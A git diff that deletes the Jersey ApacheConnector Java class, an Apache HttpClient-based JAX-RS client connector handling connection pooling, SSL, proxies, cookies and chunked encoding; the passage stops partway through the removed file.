diff --git a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java b/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
deleted file mode 100644
index 8af222a..0000000
--- a/connectors/apache-connector/src/main/java/org/glassfish/jersey/apache/connector/ApacheConnector.java
+++ /dev/null
@@ -1,917 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.Closeable;
-import java.io.FilterInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.Socket;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.concurrent.CancellationException;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Future;
-import java.util.concurrent.atomic.AtomicLong;
-import java.util.function.Supplier;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.stream.Collectors;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.MultivaluedMap;
-import jakarta.ws.rs.core.Response;
-
-import javax.net.ssl.HostnameVerifier;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.SSLSocketFactory;
-
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.RequestEntityProcessing;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.innate.http.SSLParamConfigurator;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.innate.io.InputStreamWrapper;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.ReaderWriter;
-import org.glassfish.jersey.message.internal.Statuses;
-import org.apache.http.ConnectionReuseStrategy;
-import org.apache.http.Header;
-import org.apache.http.HttpEntity;
-import org.apache.http.HttpHost;
-import org.apache.http.auth.AuthScope;
-import org.apache.http.auth.UsernamePasswordCredentials;
-import org.apache.http.client.AuthCache;
-import org.apache.http.client.CookieStore;
-import org.apache.http.client.CredentialsProvider;
-import org.apache.http.client.HttpClient;
-import org.apache.http.client.HttpRequestRetryHandler;
-import org.apache.http.client.config.CookieSpecs;
-import org.apache.http.client.config.RequestConfig;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.client.methods.HttpUriRequest;
-import org.apache.http.client.methods.RequestBuilder;
-import org.apache.http.client.protocol.HttpClientContext;
-import org.apache.http.config.ConnectionConfig;
-import org.apache.http.config.Registry;
-import org.apache.http.config.RegistryBuilder;
-import org.apache.http.conn.ConnectionKeepAliveStrategy;
-import org.apache.http.conn.HttpClientConnectionManager;
-import org.apache.http.conn.ManagedHttpClientConnection;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.conn.socket.ConnectionSocketFactory;
-import org.apache.http.conn.socket.LayeredConnectionSocketFactory;
-import org.apache.http.conn.socket.PlainConnectionSocketFactory;
-import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
-import org.apache.http.conn.ssl.SSLContexts;
-import org.apache.http.entity.AbstractHttpEntity;
-import org.apache.http.entity.BufferedHttpEntity;
-import org.apache.http.entity.ContentLengthStrategy;
-import org.apache.http.impl.auth.BasicScheme;
-import org.apache.http.impl.client.BasicAuthCache;
-import org.apache.http.impl.client.BasicCookieStore;
-import org.apache.http.impl.client.BasicCredentialsProvider;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.impl.conn.DefaultManagedHttpClientConnection;
-import org.apache.http.impl.conn.ManagedHttpClientConnectionFactory;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-import org.apache.http.impl.io.ChunkedOutputStream;
-import org.apache.http.io.SessionOutputBuffer;
-import org.apache.http.protocol.HttpContext;
-import org.apache.http.util.TextUtils;
-import org.apache.http.util.VersionInfo;
-
-/**
- * A {@link Connector} that utilizes the Apache HTTP Client to send and receive
- * HTTP request and responses.
- * <p/>
- * The following properties are only supported at construction of this class:
- * <ul>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_MANAGER_SHARED}</li>
- * <li>{@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#CREDENTIALS_PROVIDER}</li>
- * <li>{@link ApacheClientProperties#DISABLE_COOKIES}</li>
- * <li>{@link ApacheClientProperties#KEEPALIVE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} - default value is {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED}</li>
- * <li>{@link ApacheClientProperties#REQUEST_CONFIG}</li>
- * <li>{@link ApacheClientProperties#RETRY_HANDLER}</li>
- * <li>{@link ApacheClientProperties#REUSE_STRATEGY}</li>
- * <li>{@link ApacheClientProperties#USE_SYSTEM_PROPERTIES}</li>
- * </ul>
- * <p>
- * This connector uses {@link RequestEntityProcessing#CHUNKED chunked encoding} as a default setting. This can
- * be overridden by the {@link ClientProperties#REQUEST_ENTITY_PROCESSING}. By default the
- * {@link ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported by using default connection manager. If custom
- * connection manager needs to be used then chunked encoding size can be set by providing a custom
- * {@link org.apache.http.HttpClientConnection} (via custom {@link org.apache.http.impl.conn.ManagedHttpClientConnectionFactory})
- * and overriding {@code createOutputStream} method.
- * </p>
- * <p>
- * Using of authorization is dependent on the chunk encoding setting. If the entity
- * buffering is enabled, the entity is buffered and authorization can be performed
- * automatically in response to a 401 by sending the request again. When entity buffering
- * is disabled (chunked encoding is used) then the property
- * {@link org.glassfish.jersey.apache.connector.ApacheClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must
- * be set to {@code true}.
- * </p>
- * <p>
- * Registration of {@link ApacheHttpClientBuilderConfigurator} instance on the
- * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by
- * {@link ApacheHttpClientBuilderConfigurator} will override the {@link org.apache.http.impl.client.HttpClientBuilder}
- * configuration set by using the properties.
- * </p>
- * <p>
- * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
- * entity is not read from the response then
- * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
- * after processing the response to release connection-based resources.
- * </p>
- * <p>
- * Client operations are thread safe, the HTTP connection may
- * be shared between different threads.
- * </p>
- * <p>
- * If a response entity is obtained that is an instance of {@link Closeable}
- * then the instance MUST be closed after processing the entity to release
- * connection-based resources.
- * </p>
- * <p>
- * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE.
- * </p>
- *
- * @author jorgeluisw@mac.com
- * @author Paul Sandoz
- * @author Pavel Bucek
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @see ApacheClientProperties#CONNECTION_MANAGER
- */
-@SuppressWarnings("deprecation")
-class ApacheConnector implements Connector {
-
-    private static final Logger LOGGER = Logger.getLogger(ApacheConnector.class.getName());
-    private static final String JERSEY_REQUEST_ATTR_NAME = "JerseyRequestAttribute";
-    private static final VersionInfo vi;
-    private static final String release;
-
-    static {
-        vi = VersionInfo.loadVersionInfo("org.apache.http.client", HttpClientBuilder.class.getClassLoader());
-        release = (vi != null) ? vi.getRelease() : VersionInfo.UNAVAILABLE;
-    }
-
-    private final CloseableHttpClient client;
-    private final CookieStore cookieStore;
-    private final boolean preemptiveBasicAuth;
-    private final RequestConfig requestConfig;
-
-    /**
-     * Create the new Apache HTTP Client connector.
-     *
-     * @param client JAX-RS client instance for which the connector is being created.
-     * @param config client configuration.
-     */
-    ApacheConnector(final Client client, final Configuration config) {
-        final Object connectionManager = config.getProperties().get(ApacheClientProperties.CONNECTION_MANAGER);
-        if (connectionManager != null) {
-            if (!(connectionManager instanceof HttpClientConnectionManager)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.CONNECTION_MANAGER,
-                                connectionManager.getClass().getName(),
-                                HttpClientConnectionManager.class.getName())
-                );
-            }
-        }
-
-        Object keepAliveStrategy = config.getProperties().get(ApacheClientProperties.KEEPALIVE_STRATEGY);
-        if (keepAliveStrategy != null) {
-            if (!(keepAliveStrategy instanceof ConnectionKeepAliveStrategy)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.KEEPALIVE_STRATEGY,
-                                keepAliveStrategy.getClass().getName(),
-                                ConnectionKeepAliveStrategy.class.getName())
-                );
-                keepAliveStrategy = null;
-            }
-        }
-
-        Object reuseStrategy = config.getProperties().get(ApacheClientProperties.REUSE_STRATEGY);
-        if (reuseStrategy != null) {
-            if (!(reuseStrategy instanceof ConnectionReuseStrategy)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.REUSE_STRATEGY,
-                                reuseStrategy.getClass().getName(),
-                                ConnectionReuseStrategy.class.getName())
-                );
-                reuseStrategy = null;
-            }
-        }
-
-        Object reqConfig = config.getProperties().get(ApacheClientProperties.REQUEST_CONFIG);
-        if (reqConfig != null) {
-            if (!(reqConfig instanceof RequestConfig)) {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.REQUEST_CONFIG,
-                                reqConfig.getClass().getName(),
-                                RequestConfig.class.getName())
-                );
-                reqConfig = null;
-            }
-        }
-
-        final boolean useSystemProperties =
-                PropertiesHelper.isProperty(config.getProperties(), ApacheClientProperties.USE_SYSTEM_PROPERTIES);
-
-        final SSLContext sslContext = client.getSslContext();
-        final HttpClientBuilder clientBuilder = HttpClientBuilder.create();
-
-        if (useSystemProperties) {
-            clientBuilder.useSystemProperties();
-        }
-        clientBuilder.setConnectionManager(getConnectionManager(client, config, sslContext, useSystemProperties));
-        clientBuilder.setConnectionManagerShared(
-                PropertiesHelper.getValue(config.getProperties(), ApacheClientProperties.CONNECTION_MANAGER_SHARED, false, null));
-        clientBuilder.setSSLContext(sslContext);
-        if (keepAliveStrategy != null) {
-            clientBuilder.setKeepAliveStrategy((ConnectionKeepAliveStrategy) keepAliveStrategy);
-        }
-        if (reuseStrategy != null) {
-            clientBuilder.setConnectionReuseStrategy((ConnectionReuseStrategy) reuseStrategy);
-        }
-
-        final RequestConfig.Builder requestConfigBuilder = RequestConfig.custom();
-
-        final Object credentialsProvider = config.getProperty(ApacheClientProperties.CREDENTIALS_PROVIDER);
-        if (credentialsProvider != null && (credentialsProvider instanceof CredentialsProvider)) {
-            clientBuilder.setDefaultCredentialsProvider((CredentialsProvider) credentialsProvider);
-        }
-
-        final Object retryHandler = config.getProperties().get(ApacheClientProperties.RETRY_HANDLER);
-        if (retryHandler != null && (retryHandler instanceof HttpRequestRetryHandler)) {
-            clientBuilder.setRetryHandler((HttpRequestRetryHandler) retryHandler);
-        }
-
-        final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
-        proxy.ifPresent(clientProxy -> {
-            final URI u = clientProxy.uri();
-            final HttpHost proxyHost = new HttpHost(u.getHost(), u.getPort(), u.getScheme());
-            if (clientProxy.userName() != null && clientProxy.password() != null) {
-                final CredentialsProvider credsProvider = new BasicCredentialsProvider();
-                credsProvider.setCredentials(
-                        new AuthScope(u.getHost(), u.getPort()),
-                        new UsernamePasswordCredentials(clientProxy.userName(), clientProxy.password())
-                );
-                clientBuilder.setDefaultCredentialsProvider(credsProvider);
-            }
-            clientBuilder.setProxy(proxyHost);
-        });
-
-        final Boolean preemptiveBasicAuthProperty = (Boolean) config.getProperties()
-                .get(ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION);
-        this.preemptiveBasicAuth = (preemptiveBasicAuthProperty != null) ? preemptiveBasicAuthProperty : false;
-
-        final boolean ignoreCookies = PropertiesHelper.isProperty(config.getProperties(), ApacheClientProperties.DISABLE_COOKIES);
-
-        if (reqConfig != null) {
-            final RequestConfig.Builder reqConfigBuilder = RequestConfig.copy((RequestConfig) reqConfig);
-            if (ignoreCookies) {
-                reqConfigBuilder.setCookieSpec(CookieSpecs.IGNORE_COOKIES);
-            }
-            requestConfig = reqConfigBuilder.build();
-        } else {
-            if (ignoreCookies) {
-                requestConfigBuilder.setCookieSpec(CookieSpecs.IGNORE_COOKIES);
-            }
-            requestConfig = requestConfigBuilder.build();
-        }
-
-        if (requestConfig.getCookieSpec() == null || !requestConfig.getCookieSpec().equals(CookieSpecs.IGNORE_COOKIES)) {
-            this.cookieStore = new BasicCookieStore();
-            clientBuilder.setDefaultCookieStore(cookieStore);
-        } else {
-            this.cookieStore = null;
-        }
-        clientBuilder.setDefaultRequestConfig(requestConfig);
-
-        LinkedList<Object> contracts = config.getInstances().stream()
-                .filter(ApacheHttpClientBuilderConfigurator.class::isInstance)
-                .collect(Collectors.toCollection(LinkedList::new));
-
-        HttpClientBuilder configuredBuilder = clientBuilder;
-        for (Object configurator : contracts) {
-            configuredBuilder = ((ApacheHttpClientBuilderConfigurator) configurator).configure(configuredBuilder);
-        }
-
-        this.client = configuredBuilder.build();
-    }
-
-    private HttpClientConnectionManager getConnectionManager(final Client client,
-                                                             final Configuration config,
-                                                             final SSLContext sslContext,
-                                                             final boolean useSystemProperties) {
-        final Object cmObject = config.getProperties().get(ApacheClientProperties.CONNECTION_MANAGER);
-
-        // Connection manager from configuration.
-        if (cmObject != null) {
-            if (cmObject instanceof HttpClientConnectionManager) {
-                return (HttpClientConnectionManager) cmObject;
-            } else {
-                LOGGER.log(
-                        Level.WARNING,
-                        LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                ApacheClientProperties.CONNECTION_MANAGER,
-                                cmObject.getClass().getName(),
-                                HttpClientConnectionManager.class.getName())
-                );
-            }
-        }
-
-        // Create custom connection manager.
-        return createConnectionManager(
-                client,
-                config,
-                sslContext,
-            useSystemProperties);
-    }
-
-    private HttpClientConnectionManager createConnectionManager(
-            final Client client,
-            final Configuration config,
-            final SSLContext sslContext,
-            final boolean useSystemProperties) {
-
-        final String[] supportedProtocols = useSystemProperties ? split(
-                System.getProperty("https.protocols")) : null;
-        final String[] supportedCipherSuites = useSystemProperties ? split(
-                System.getProperty("https.cipherSuites")) : null;
-
-        HostnameVerifier hostnameVerifier = client.getHostnameVerifier();
-
-        final LayeredConnectionSocketFactory sslSocketFactory;
-        if (sslContext != null) {
-            sslSocketFactory = new SniSSLConnectionSocketFactory(
-                    sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier);
-        } else {
-            if (useSystemProperties) {
-                sslSocketFactory = new SniSSLConnectionSocketFactory(
-                        (SSLSocketFactory) SSLSocketFactory.getDefault(),
-                        supportedProtocols, supportedCipherSuites, hostnameVerifier);
-            } else {
-                sslSocketFactory = new SniSSLConnectionSocketFactory(
-                        SSLContexts.createDefault(),
-                        hostnameVerifier);
-            }
-        }
-
-        final Registry<ConnectionSocketFactory> registry = RegistryBuilder.<ConnectionSocketFactory>create()
-                .register("http", PlainConnectionSocketFactory.getSocketFactory())
-                .register("https", sslSocketFactory)
-                .build();
-
-        final Integer chunkSize = ClientProperties.getValue(config.getProperties(),
-                ClientProperties.CHUNKED_ENCODING_SIZE, ClientProperties.DEFAULT_CHUNK_SIZE, Integer.class);
-
-        final PoolingHttpClientConnectionManager connectionManager =
-                new PoolingHttpClientConnectionManager(registry, new ConnectionFactory(chunkSize));
-
-        if (useSystemProperties) {
-            String s = System.getProperty("http.keepAlive", "true");
-            if ("true".equalsIgnoreCase(s)) {
-                s = System.getProperty("http.maxConnections", "5");
-                final int max = Integer.parseInt(s);
-                connectionManager.setDefaultMaxPerRoute(max);
-                connectionManager.setMaxTotal(2 * max);
-            }
-        }
-
-        return connectionManager;
-    }
-
-    private static String[] split(final String s) {
-        if (TextUtils.isBlank(s)) {
-            return null;
-        }
-        return s.split(" *, *");
-    }
-
-    /**
-     * Get the {@link HttpClient}.
-     *
-     * @return the {@link HttpClient}.
-     */
-    @SuppressWarnings("UnusedDeclaration")
-    public HttpClient getHttpClient() {
-        return client;
-    }
-
-    /**
-     * Get the {@link CookieStore}.
-     *
-     * @return the {@link CookieStore} instance or {@code null} when {@value ApacheClientProperties#DISABLE_COOKIES} set to
-     * {@code true}.
-     */
-    public CookieStore getCookieStore() {
-        return cookieStore;
-    }
-
-    @Override
-    public ClientResponse apply(final ClientRequest clientRequest) throws ProcessingException {
-        final HttpUriRequest request = getUriHttpRequest(clientRequest);
-        final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(clientRequest, request);
-        final HttpHost httpHost = getHost(request);
-
-        try {
-            final CloseableHttpResponse response;
-            final HttpClientContext context = HttpClientContext.create();
-
-            if (preemptiveBasicAuth) {
-                final AuthCache authCache = new BasicAuthCache();
-                final BasicScheme basicScheme = new BasicScheme();
-                authCache.put(httpHost, basicScheme);
-                context.setAuthCache(authCache);
-            }
-
-            // If a request-specific CredentialsProvider exists, use it instead of the default one
-            CredentialsProvider credentialsProvider =
-                    clientRequest.resolveProperty(ApacheClientProperties.CREDENTIALS_PROVIDER, CredentialsProvider.class);
-            if (credentialsProvider != null) {
-                context.setCredentialsProvider(credentialsProvider);
-            }
-
-            context.setAttribute(JERSEY_REQUEST_ATTR_NAME, clientRequest);
-            response = client.execute(httpHost, request, context);
-            HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, clientRequest.getHeaders(),
-                    this.getClass().getName(), clientRequest.getConfiguration());
-
-            final Response.StatusType status = response.getStatusLine().getReasonPhrase() == null
-                    ? Statuses.from(response.getStatusLine().getStatusCode())
-                    : Statuses.from(response.getStatusLine().getStatusCode(), response.getStatusLine().getReasonPhrase());
-
-            final ClientResponse responseContext = new ClientResponse(status, clientRequest);
-            final List<URI> redirectLocations = context.getRedirectLocations();
-            if (redirectLocations != null && !redirectLocations.isEmpty()) {
-                responseContext.setResolvedRequestUri(redirectLocations.get(redirectLocations.size() - 1));
-            }
-
-            final Header[] respHeaders = response.getAllHeaders();
-            final MultivaluedMap<String, String> headers = responseContext.getHeaders();
-            for (final Header header : respHeaders) {
-                final String headerName = header.getName();
-                List<String> list = headers.get(headerName);
-                if (list == null) {
-                    list = new ArrayList<>();
-                }
-                list.add(header.getValue());
-                headers.put(headerName, list);
-            }
-
-            final HttpEntity entity = response.getEntity();
-
-            if (entity != null) {
-                if (headers.get(HttpHeaders.CONTENT_LENGTH) == null && entity.getContentLength() >= 0) {
-                    headers.add(HttpHeaders.CONTENT_LENGTH, String.valueOf(entity.getContentLength()));
-                }
-
-                final Header contentEncoding = entity.getContentEncoding();
-                if (headers.get(HttpHeaders.CONTENT_ENCODING) == null && contentEncoding != null) {
-                    headers.add(HttpHeaders.CONTENT_ENCODING, contentEncoding.getValue());
-                }
-            }
-
-            try {
-                final ConnectionClosingMechanism closingMechanism = new ConnectionClosingMechanism(clientRequest, request);
-                responseContext.setEntityStream(getInputStream(response, closingMechanism, () -> clientRequest.isCancelled()));
-            } catch (final IOException e) {
-                LOGGER.log(Level.SEVERE, null, e);
-            }
-
-            return responseContext;
-        } catch (final Exception e) {
-            throw new ProcessingException(e);
-        }
-    }
-
-    @Override
-    public Future<?> apply(final ClientRequest request, final AsyncConnectorCallback callback) {
-        try {
-            ClientResponse response = apply(request);
-            callback.response(response);
-            return CompletableFuture.completedFuture(response);
-        } catch (Throwable t) {
-            callback.failure(t);
-            CompletableFuture<Object> future = new CompletableFuture<>();
-            future.completeExceptionally(t);
-            return future;
-        }
-    }
-
-    @Override
-    public String getName() {
-        return "Apache HttpClient " + release;
-    }
-
-    @Override
-    public void close() {
-        try {
-            client.close();
-        } catch (final IOException e) {
-            throw new ProcessingException(LocalizationMessages.FAILED_TO_STOP_CLIENT(), e);
-        }
-    }
-
-    private HttpHost getHost(final HttpUriRequest request) {
-        return new HttpHost(request.getURI().getHost(), request.getURI().getPort(), request.getURI().getScheme());
-    }
-
-    private HttpUriRequest getUriHttpRequest(final ClientRequest clientRequest) {
-        final RequestConfig.Builder requestConfigBuilder = RequestConfig.copy(requestConfig);
-
-        final int connectTimeout = clientRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, -1);
-        final int socketTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
-
-        if (connectTimeout >= 0) {
-            requestConfigBuilder.setConnectTimeout(connectTimeout);
-        }
-        if (socketTimeout >= 0) {
-            requestConfigBuilder.setSocketTimeout(socketTimeout);
-        }
-
-        final Boolean redirectsEnabled =
-                clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, requestConfig.isRedirectsEnabled());
-        requestConfigBuilder.setRedirectsEnabled(redirectsEnabled);
-
-        final Boolean bufferingEnabled = clientRequest.resolveProperty(ClientProperties.REQUEST_ENTITY_PROCESSING,
-                RequestEntityProcessing.class) == RequestEntityProcessing.BUFFERED;
-        final HttpEntity entity = getHttpEntity(clientRequest, bufferingEnabled);
-
-        return RequestBuilder
-                .create(clientRequest.getMethod())
-                .setUri(clientRequest.getUri())
-                .setConfig(requestConfigBuilder.build())
-                .setEntity(entity)
-                .build();
-    }
-
-    private HttpEntity getHttpEntity(final ClientRequest clientRequest, final boolean bufferingEnabled) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        if (HttpEntity.class.isInstance(entity)) {
-            return wrapHttpEntity(clientRequest, (HttpEntity) entity);
-        }
-
-        final AbstractHttpEntity httpEntity = new AbstractHttpEntity() {
-            @Override
-            public boolean isRepeatable() {
-                return false;
-            }
-
-            @Override
-            public long getContentLength() {
-                return -1;
-            }
-
-            @Override
-            public InputStream getContent() throws IOException, IllegalStateException {
-                if (bufferingEnabled) {
-                    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(512);
-                    writeTo(buffer);
-                    return new ByteArrayInputStream(buffer.toByteArray());
-                } else {
-                    return null;
-                }
-            }
-
-            @Override
-            public void writeTo(final OutputStream outputStream) throws IOException {
-                clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-                    @Override
-                    public OutputStream getOutputStream(final int contentLength) throws IOException {
-                        return outputStream;
-                    }
-                });
-                clientRequest.writeEntity();
-            }
-
-            @Override
-            public boolean isStreaming() {
-                return false;
-            }
-        };
-
-        return bufferEntity(httpEntity, bufferingEnabled);
-    }
-
-    private HttpEntity wrapHttpEntity(final ClientRequest clientRequest, final HttpEntity originalEntity) {
-        final boolean bufferingEnabled = BufferedHttpEntity.class.isInstance(originalEntity);
-
-        try {
-            clientRequest.setEntity(originalEntity.getContent());
-        } catch (IOException e) {
-            throw new ProcessingException(LocalizationMessages.ERROR_READING_HTTPENTITY_STREAM(e.getMessage()), e);
-        }
-
-        final AbstractHttpEntity httpEntity = new AbstractHttpEntity() {
-            @Override
-            public boolean isRepeatable() {
-                return originalEntity.isRepeatable();
-            }
-
-            @Override
-            public long getContentLength() {
-                return originalEntity.getContentLength();
-            }
-
-            @Override
-            public Header getContentType() {
-                return originalEntity.getContentType();
-            }
-
-            @Override
-            public Header getContentEncoding() {
-                return originalEntity.getContentEncoding();
-            }
-
-            @Override
-            public InputStream getContent() throws IOException, IllegalStateException {
-               return originalEntity.getContent();
-            }
-
-            @Override
-            public void writeTo(final OutputStream outputStream) throws IOException {
-                clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-                    @Override
-                    public OutputStream getOutputStream(final int contentLength) throws IOException {
-                        return outputStream;
-                    }
-                });
-                clientRequest.writeEntity();
-            }
-
-            @Override
-            public boolean isStreaming() {
-                return originalEntity.isStreaming();
-            }
-
-            @Override
-            public boolean isChunked() {
-                return originalEntity.isChunked();
-            }
-        };
-
-        return bufferEntity(httpEntity, bufferingEnabled);
-    }
-
-    private static HttpEntity bufferEntity(HttpEntity httpEntity, boolean bufferingEnabled) {
-        if (bufferingEnabled) {
-            try {
-                return new BufferedHttpEntity(httpEntity);
-            } catch (final IOException e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_BUFFERING_ENTITY(), e);
-            }
-        } else {
-            return httpEntity;
-        }
-    }
-
-    private static Map<String, String> writeOutBoundHeaders(final ClientRequest clientRequest,
-                                                            final HttpUriRequest request) {
-        final Map<String, String> stringHeaders =
-                HeaderUtils.asStringHeadersSingleValue(clientRequest.getHeaders(), clientRequest.getConfiguration());
-
-        for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-            request.addHeader(e.getKey(), e.getValue());
-        }
-        return stringHeaders;
-    }
-
-    private static InputStream getInputStream(final CloseableHttpResponse response,
-                                              final ConnectionClosingMechanism closingMechanism,
-                                              final Supplier<Boolean> isCancelled) throws IOException {
-        final InputStream inputStream;
-
-        if (response.getEntity() == null) {
-            inputStream = new ByteArrayInputStream(new byte[0]);
-        } else {
-            final InputStream i = new CancellableInputStream(response.getEntity().getContent(), isCancelled);
-            if (i.markSupported()) {
-                inputStream = i;
-            } else {
-                inputStream = ReaderWriter.AUTOSIZE_BUFFER ? new BufferedInputStream(i)
-                        : new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE);
-            }
-        }
-
-        return closingMechanism.getEntityStream(inputStream, response);
-    }
-
-    /**
-     * The way the Apache CloseableHttpResponse is to be closed.
-     * See https://github.com/eclipse-ee4j/jersey/issues/4321
-     * {@link ApacheClientProperties#CONNECTION_CLOSING_STRATEGY}
-     */
-    private final class ConnectionClosingMechanism {
-        private ApacheConnectionClosingStrategy connectionClosingStrategy = null;
-        private final ClientRequest clientRequest;
-        private final HttpUriRequest apacheRequest;
-
-        private ConnectionClosingMechanism(ClientRequest clientRequest, HttpUriRequest apacheRequest) {
-            this.clientRequest = clientRequest;
-            this.apacheRequest = apacheRequest;
-            Object closingStrategyProperty = clientRequest
-                    .resolveProperty(ApacheClientProperties.CONNECTION_CLOSING_STRATEGY, Object.class);
-            if (closingStrategyProperty != null) {
-                if (ApacheConnectionClosingStrategy.class.isInstance(closingStrategyProperty)) {
-                    connectionClosingStrategy = (ApacheConnectionClosingStrategy) closingStrategyProperty;
-                } else {
-                    LOGGER.log(
-                            Level.WARNING,
-                            LocalizationMessages.IGNORING_VALUE_OF_PROPERTY(
-                                    ApacheClientProperties.CONNECTION_CLOSING_STRATEGY,
-                                    closingStrategyProperty,
-                                    ApacheConnectionClosingStrategy.class.getName())
-                    );
-                }
-            }
-
-            if (connectionClosingStrategy == null) {
-                if (vi.getRelease().compareTo("4.5") > 0) {
-                    connectionClosingStrategy = ApacheConnectionClosingStrategy.GracefulClosingStrategy.INSTANCE;
-                } else {
-                    connectionClosingStrategy = ApacheConnectionClosingStrategy.ImmediateClosingStrategy.INSTANCE;
-                }
-            }
-        }
-
-        private InputStream getEntityStream(final InputStream inputStream,
-                                            final CloseableHttpResponse response) {
-            InputStream filterStream = new FilterInputStream(inputStream) {
-                @Override
-                public void close() throws IOException {
-                    connectionClosingStrategy.close(clientRequest, apacheRequest, response, in);
-                }
-            };
-            return filterStream;
-        }
-    }
-
-    private static class ConnectionFactory extends ManagedHttpClientConnectionFactory {
-
-        private static final AtomicLong COUNTER = new AtomicLong();
-
-        private final int chunkSize;
-
-        private ConnectionFactory(final int chunkSize) {
-            this.chunkSize = chunkSize;
-        }
-
-        @Override
-        public ManagedHttpClientConnection create(final HttpRoute route, final ConnectionConfig config) {
-            final String id = "http-outgoing-" + Long.toString(COUNTER.getAndIncrement());
-
-            return new HttpClientConnection(id, config.getBufferSize(), chunkSize);
-        }
-    }
-
-    private static class HttpClientConnection extends DefaultManagedHttpClientConnection {
-
-        private final int chunkSize;
-
-        private HttpClientConnection(final String id, final int buffersize, final int chunkSize) {
-            super(id, buffersize);
-
-            this.chunkSize = chunkSize;
-        }
-
-        @Override
-        protected OutputStream createOutputStream(final long len, final SessionOutputBuffer outbuffer) {
-            if (len == ContentLengthStrategy.CHUNKED) {
-                return new ChunkedOutputStream(chunkSize, outbuffer);
-            }
-            return super.createOutputStream(len, outbuffer);
-        }
-    }
-
-    private static final class SniSSLConnectionSocketFactory extends SSLConnectionSocketFactory {
-
-        private final ThreadLocal<HttpContext> httpContexts = new ThreadLocal<>();
-
